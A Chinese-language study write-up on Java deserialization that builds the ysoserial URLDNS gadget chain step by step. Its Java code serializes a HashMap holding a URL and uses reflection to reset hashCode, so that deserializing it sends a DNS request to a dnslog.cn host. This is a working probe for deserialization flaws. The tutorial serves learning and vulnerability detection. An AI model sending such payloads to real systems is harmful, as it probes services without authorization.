java反序列化

java反序列化其实是一个正常的功能,通过序列化将一个对象转化成一串字符,再通过反序列化将字符转化成对象。这样看看java的序列化与反序列化有利于对象的存储与传输。但是在反序列化过程中会调用其readObject方法,如果在readObject的过程中执行了危险方法,便造成了漏洞。

URLDNS

URLDNS是用来探测某个地方是否存在反序列化的最常用的方式,因为其依赖的包都是java中自带的,不受环境影响。
画了一个反序列化的demo
反序列化demo.png
如果我们反序列的对象中某个参数可控,再其readObject中调用了这个参数的方法,我们便可以控制这个参数为含危险方法的对象,在反序列化中调用同名方法,从而造成漏洞。
所以构造反序列化链分为两步,第一步找到危险方法,第二步找到一个对象的readObject中调用了这个方法且对象可控。
所以我们先看看URLDNS的第一处,触发危险方法
其对象是 java.net.URL
其hashCode方法如下:

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

如果hashCode 不等于 -1 就返回
否则调用hashCode的hashCode
handler 是一个URLStreamHandler抽象类对象
跟进hashCode看看
image.png
调用了getHostAddress方法,这里便是发起DNS请求的地方。
我们编写脚本如下:

package ysoserial.serialStudy;

import ysoserial.payloads.util.Reflections;
import java.io.IOException;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;

public class urldns {

    public static void main(String[] args) throws Exception {
        String url = "http://iz850g.dnslog.cn";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null, url, handler);
        u.hashCode();
    }

    static  class TestURLStreamHandler extends URLStreamHandler{
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }
    }
}

运行,成功发起了DNS请求。
image.png

第二步 找到reabOject中调用hashCode的对象

ysoserial 找到的是HashMap,
我们先写一个demo来试试

package ysoserial.serialStudy;

import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class urldns {

    public static void main(String[] args) throws Exception {

        HashMap ht = new HashMap();
        ht.put("123","dd");
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(ht);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }

}

在HashMap的readObject方法处加上断点,
由于haspmap不为空,所以进入了第三个条件中
image.png
然后调用了hash(key)方法,
image.png
跟进看看
image.png
发现调用了key的hashCode方法,这里的key是一个object对象,如果我们令key为上面分析的URL对象,调用其hashcode方法则造成了一次dns请求。这里有个坑点,
HashMap的put方法就已经调用了一次hashcode方法,而且调用之后hashCode值便不为-1了,
image.png
image.png
所以我们要在put之后再调用反射将hashCode修改为-1
代码如下“

package ysoserial.serialStudy;

import ysoserial.payloads.util.Reflections;

import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class urldns {

    public static void main(String[] args) throws Exception {
        String url = "http://iz850g.dnslog.cn";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null, url, handler);
//        u.hashCode()
	Reflections.setFieldValue(u, "hashCode", 1);//防止两次发起dns请求
        HashMap ht = new HashMap();
        ht.put(u,"dd");
        Reflections.setFieldValue(u, "hashCode", -1);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(ht);
        oos.close();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();

    }

    static  class TestURLStreamHandler extends URLStreamHandler{
        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }
    }
}

运行下
image.png
image.png
image.png

成功发起请求